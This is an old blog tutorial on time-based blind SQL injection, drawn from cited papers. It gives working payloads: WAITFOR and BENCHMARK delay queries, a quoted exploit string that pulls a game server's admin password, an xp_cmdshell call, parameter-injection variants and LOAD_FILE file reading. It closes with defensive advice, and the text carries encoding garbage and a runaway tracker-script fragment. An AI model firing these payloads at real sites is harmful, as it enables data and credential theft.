SQL Hacking Blind SQL injections for dummies

0 Comments

Introduction

This article describes how attackers take advantage of SQL Injection vulnerabilities by using time-based blind SQL injection with heavy queries. Our goal is to highlight the need for establishing secure development best practices for Web applications instead of relying only on the security provided by the perimeter defenses. This article shows exploit examples for Microsoft SQL Server and Microsoft Access database, MySQL and PostgreSQL engines, but the present technique is applicable to any other database product in the market.[10]

The definition

SQL injection is a technique that exploits a Security vulnerability" onclick="urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/edit.php?paged=2');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');urchinTracker('/outgoing/en.wikipedia.org/wiki/Security_vulnerability?referer=http://blog.kassaras.com/wp-admin/post.php?action=edit&post=44&message=4');" href="http://en.wikipedia.org/wiki/Security_vulnerability">security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.[11]

The first references

The first references to ?€?blind attacks?€ can be found in Chris Anley?€™s June 2002 paper ?€?(More) Advanced SQL Injection?€ [1], in which he calls attention to the possibility of creating such attacks — in this specific case, time-based, one of the less common. Chris gives some examples of blind SQL injection techniques:[10]

<<?€??€??€??€??€??€? if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay ‘0:0:5′
?€¦it is possible to determine whether a given bit in a string is ‘1′ or ?€™0?€™.That is, the above query will pause for five seconds if bit ‘@bit’ of byte ‘@byte’ in string ‘@s’ is ‘1.’

For example, the following query:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay ‘0:0:5′

Will pause for five seconds if the first bit of the first byte of the name of the current database is 1.[10]

As these examples show, the information is extracted from the database using a vulnerable parameter. Code is then injected to generate a delay in response time when the condition is true.[10]

After the first reference

After this first reference, blind SQL injection techniques continued to be studied with most techniques generating error messages from the attack system, because of the simplicity, quick execution, and extension of showing an error message versus delaying the database. One year later, in September 2003, Ofer Maor and Amichai Shulman published the paper ?€?Blindfolded SQL Injection?€ [2]. Here, they analyze different ways to identify a vulnerable parameter on a SQL Injection system, even when the information processed and returned by the system is not visible.

At the 2004 BlackHat Conference, Cameron Hotchkies presented his paper ?€?Blind SQL Injection Automation Techniques?€ [3]. He proposed alternative methods to automate the exploitation of a Blind SQL Injection vulnerable parameter, using different custom tools. He suggested three different solutions for the automation: (1) Searching for keywords on positive and negative results; (2) Using MD5 signatures to discriminate positive and negative results; (3) Using textual difference engine. He also introduced SQueal, an automatic tool to extract information through Blind SQL Injection, which evolved later to another tool called Absinthe [4].

In September 2005, David Litchfield published the article ?€?Data Mining with SQL Injection and Inference?€ [5], where he discussed the time-based inference techniques, and proposed other ways to obtain time delays using calls to stored procedures, such as xp_cmdshell on MS SQL Server to do a ping.

xp_cmdshell ?€?ping ?€“n 10 127.0.0.1?€™ ?†’ application paused 10 seconds.

Time-based techniques can be extended to any action performed by a stored procedure and able to generate a time delay or any other measurable action.

In December 2006, Ronald van den Heetkamp published the ?€?SQL Injection Cheat Sheet?€ [6], including Blind SQL Injection tricks for MySQL with some examples based on benchmark functions that can generate time delays. For instance:

SELECT BENCHMARK(10000000,ENCODE(’abc’,'123′)); [around 5 sec]
SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ around 7 sec]
Example: SELECT IF( user = ‘root’, BENCHMARK(1000000,MD5( ‘x’ )),NULL) FROM login

A recent exploit [7], published in June 2007 at http://www.milw0rm.com (a Web site dedicated to exploits and security) shows how this technique could be used to attack a game server called Solar Empire:

??$sql=”F***You’),(1,2,3,4,5,(SELECT IF (ASCII (SUBSTRING(se_games.admin_pw, “.$j.”, 1)) =”.$i.”) & 1, benchmark(200000000,CHAR(0)),0) FROM se_games))/*”;

As the studies of the time-based Blind SQL Injection techniques are moving forward, some new tools have been created, such as SQL Ninja [8], which uses the Wait-for method for Microsoft SQL Server engines, or SQL PowerInjector[9], which implements the Wait-for method for Microsoft SQL Server Database engines, Benchmark functions for MySQL engines, and an extension of the Wait-for method for Oracle engines, using calls to DBMS_LOCK methods.

Real world examples

  • On October 26, 2005, Unknown Heise readers replaced a page owned by the German TV station ARD which advertised a pro-RIAA sitcom with Goatse using SQL injection[3]
  • On November 01, 2005, A high school student used a SQL injection to break into the site of a Taiwanese information security magazine from the Tech Target group and steal customer’s information.[4]
  • On January 13, 2006, Russian hackers broke into a Rhode Island government web site and allegedly stole credit card data from individuals who have done business online with state agencies.[5]
  • On March 29, 2006, Susam Pal discovered an SQL injection flaw in an official Indian government tourism site.[6]
  • On March 2, 2007, Sebastian Bauer discovered an SQL injection flaw in the knorr.de login page.[7]
  • On June 29, 2007, Hacker Defaces Microsoft U.K. Web Page using SQL injection. [8][9]. U.K. website The Register quoted a Microsoft spokesperson acknowledging the problem.
  • On August 12, 2007, The United Nations web site was defaced using SQL injection.[10]
  • In May 2008, a server farm inside China used automated queries to Google’s search engine to identify SQL server websites which were vulnerable to the attack of an automated SQL injection tool. [11][13]
  • In May 2008, discussion groups covering identity theft problems faced by Lifelock’s president exploited an SQL Injection vulnerability in Lifelock’s server that would result in yearly membership for $0.00. [14]

Identifying SQL Injection Vulnerable Parameters

To better understand how this is done, it is important to understand the basic types of data in SQL. SQL fields can normally be classified as one of three main types: Number, String or Date. Each main type has many different flavors, but these are irrelevant for the injection process. Each parameter transferred from the web application to the SQL query is considered as one of these types, and it is usually very simple to determine the type (’abc’ is obviously a string, whereas 4 is likely to be an number, although it must be considered as a string as well).[2]

In the SQL language, numeric parameters are passed to the server as is, whereas strings or dates are passed with quotes around them. For example:[2]

SELECT * FROM Products WHERE ProdID = 4

vs.

SELECT * FROM Products WHERE ProdName = ‘Book’

The SQL server, however, does not care what type of an expression it receives, as long as it is indeed of the relevant type. This behavior gives the attacker the best way of identifying whether an error is indeed an SQL one or unrelated. With numeric values, the easiest way to handle this is by using basic arithmetic operations. For instance, let’s look at the following request:[2]

/myecommercesite/proddetails.asp?ProdID=4

Testing this for SQL injection is very simple. One attempt is done by injecting 4′ as the parameter. The other is done using 3 + 1 as the parameter. Assuming this parameter is indeed passed to an SQL request, the result of the two tests will be the following two SQL queries:[2]

(1) SELECT * FROM Products WHERE ProdID = 4′
(2) SELECT * FROM Products WHERE ProdID = 3 + 1

The first one will definitely generate an error, as this is bad SQL syntax. The second, however, will execute smoothly, returning the same product as the original request (with 4 as the ProdID), indicating that this parameter is indeed vulnerable to SQL injection.[2]

A similar technique can be used for replacing the parameter with an SQL syntax string expression. There are only two differences. First, string parameters are held inside quotes, so breaking out of the quotes is necessary. Secondly, different SQL servers use different syntax for string concatenation. For instance, Microsoft SQL Server uses the + sign to concatenate string, whereas Oracle uses || for the same task. Other than that, the same technique is used. For instance:[2]

/myecommercesite/proddetails.asp?ProdName=Book

Testing this for SQL injection involves replacing the ProdName parameter, once with an invalid string such as B’, the other with one that will generate a valid string expression, such as B’ + ‘ook (or B’ || ‘ook with Oracle). This results with the following queries:[2]

(1) SELECT * FROM Products WHERE ProdName = ‘Book”
(2) SELECT * FROM Products WHERE ProdID = ‘B’ + ‘ook’

Again, the first query is likely to generate an SQL error, while the second is expected to return the same product as the original request, with Book as its value.[2]

Similarly, any other expression can be used to replace the original parameters. Specific system functions can be used to return either a number, a string or a date (for instance, in Oracle, sysdate returns a date expression, whereas in SQL Server getdate() does the same task). Other techniques can also be used to determine whether SQL injection occurs.[2]

As can be seen, identifying whether SQL injection occurs is a very simple task even without detailed error messages, allowing the attacker to easily continue with the attack.[2]

Detecting in MySQL blind SQL injection issues

SELECT IF(1=1,’true’,'false’)

IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))

IF (SELECT * FROM login) BENCHMARK(1,SELECT USER())

Important note for CONCAT:Returns the string that results from concatenating the arguments.
May have one or more arguments. If all arguments are non-binary strings, the result is a
non-binary string. If the arguments include any binary strings, the result is a binary string.
A numeric argument is converted to its equivalent binary string form; if you want to avoid that,
you can use an explicit type cast.

SELECT CONCAT(’vari’,'able’)
SELECT CONCAT(”vari”,”able”)

Important note for CONCAT_WS: CONCAT_WS() stands for Concatenate With Separator and is a special
form of CONCAT(). The first argument is the separator for the rest of the arguments. The separator
is added between the strings to be concatenated. The separator can be a string, as can the rest of
the arguments. If the separator is NULL, the result is NULL.

SELECT CONCAT_WS(’,',’My’,NULL,’Variable’)

SELECT CONCAT_WS(’,',’My’,NULL,’Variable’)

Interesting functions (semicolons don’t count):

SELECT USER()

SELECT VERSION()

SELECT NOW()

SELECT SYSDATE()

Interesting select queries (requesting for constants) that return integers:

SELECT NULL

SELECT @NULL

SELECT @@auto_increment_increment

SELECT @@hot_cache.key_buffer_size

SELECT @@cold_cache.key_cache_block_size

SELECT @@hot_cache.key_buffer_size

SELECT @@hot_cache.key_cache_block_size

SELECT @default

For length limitation we can use the keyword LIKE and request system variables:

SHOW VARIABLES LIKE ‘auto_inc%’;

SHOW VARIABLES LIKE ‘key_buffer%’

SHOW VARIABLES LIKE ‘key%’

SHOW VARIABLES LIKE ‘k%’

SHOW VARIABLES LIKE ‘_%’

SHOW VARIABLES LIKE “_%”

Creating constants and requesting constants:

SET @MY_VAR=’Test’

SELECT @MY_VAR

SET GLOBAL hot_cache.key_buffer_size = 4

Important note for LOWER and UPPER: LOWER() (and UPPER()) are ineffective when applied to binary strings (BINARY, VARBINARY, BLOB):

SELECT UPPER(’variable’)

SELECT UPPER(”variable”)

SELECT LOWER(’variable’)

SELECT LOWER(”variable”)

SELECT LOWER(USER())

SELECT UPPER(USER())

SELECT UPPER(VERSION())

SELECT LOWER(VERSION())

Important note for LOAD_FILE(file_name):Reads the file and returns the file contents as a string. To use this function,the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.

If the file does not exist or cannot be read because one of the preceding conditions is not satisfied, the function returns NULL.As of MySQL 5.0.19, the character_set_filesystem system variable controls interpretation of filenames that are given as literal strings.

UPDATE table

SET blob_col=LOAD_FILE(’/tmp/picture’)

WHERE id=1;

Detecting in MS SQL Server blind SQL injection vulnerabilities

Using true/false and waitfor statements:

IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

if (select user) = ’sa’ waitfor delay ‘0:0:10′

Variable = 1;waitfor delay ‘0:0:10′–

Variable =1);waitfor delay ‘0:0:10′–

Variable =1′;waitfor delay ‘0:0:10′–

Variable =1′);waitfor delay ‘0:0:10′–

Variable =1));waitfor delay ‘0:0:10′–

Variable =1′));waitfor delay ‘0:0:10′–

Variable = 1;waitfor delay ‘0:0:0.51′–

Variable =1);waitfor delay ‘0:0:0.51′–

Variable =1′;waitfor delay ‘0:0:0.51′–

Variable =1′);waitfor delay ‘0:0:0.51′–

Variable =1));waitfor delay ‘0:0:0.51′–

Variable =1′));waitfor delay ‘0:0:0.51′–

Var+ ‘ ‘ +iable

Using system variables:

SELECT @@VERSION

SELECT @@VERSION

SELECT @@VERSION

Time and day functions:

SELECT MONTH(’03/12/1998′)

SELECT DAY(’03/14/1999′)

SELECT GETUTCDATE()

SELECT YEAR(’03/12/1998′)

Detecting in PostgreSQL blind SQL injection vulnerabilities

Using the pg_sleep function:

SELECT pg_sleep(10);

Detecting in Oracle blind SQL injection vulnerabilities

Using the concat function:

concat(’Var’, ‘iable’);

Detecting in IBM DB2 blind SQL injection vulnerabilities

Conclusion

The best defense against SQL injection is to apply comprehensive input validation, use a parameterized API, and never to compose query strings on an ad-hoc basis. In addition, a strong SQL Server lock down is essential, incorporating strong passwords.[1]

Although awareness of SQL injection is increasing, many products and bespoke applications are still vulnerable; from this we infer that SQL injection is likely to be around for a long time to come. It is worth investing the time to fully understand it.[1]

Reference [1]: ?€?(more) Advanced SQL Injection?€ by Chris Anley, NGS Software

URL: http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

Reference [2]: ?€?Blindfolded SQL Injection?€ by Ofer Maor and Amichai Shulman, Imperva

URL: http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html

Reference [3]: ?€?Blind SQL Injection Automation Techniques?€ by Cameron Hotchkies, BlackHat Conferences

URL: https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf

Reference [4]: ?€?Absinthe?€ by Cameron Hotchkies, 0×90.

URL: http://www.0×90.org/releases/absinthe/download.php

Reference [5]: ?€?Data Mining with SQL Injection and Inference?€ by David Litchfield, NGS Software

URL: http://www.ngssoftware.com/research/papers/sqlinference.pdf

Reference [6]: ?€?SQL Injection Cheat Sheet?€ by Ronald van den Heetkamp, 0×000000

URL: http://www.0×000000.com/?i=14&bin=1110

Reference [7]: ?€? Solar Empire Exploit?€ by Blackhawk. Milw0rm.

URL: http://www.milw0rm.com/exploits/4078

Reference [8]: ?€??€¦a SQL Server Injection & takeover tool?€¦ ?€ by icesurfer, SQLNinja

URL: http://sqlninja.sourceforge.net

Reference [9]: ?€?SQL PowerInjector?€ by Francois Larouche, SQL PowerInjector

URL: http://www.sqlpowerinjector.com

Reference [10]:http://technet.microsoft.com/en-us/library/cc512676.aspx

Reference [11]: http://en.wikipedia.org/wiki/SQL_injection

Leave a Reply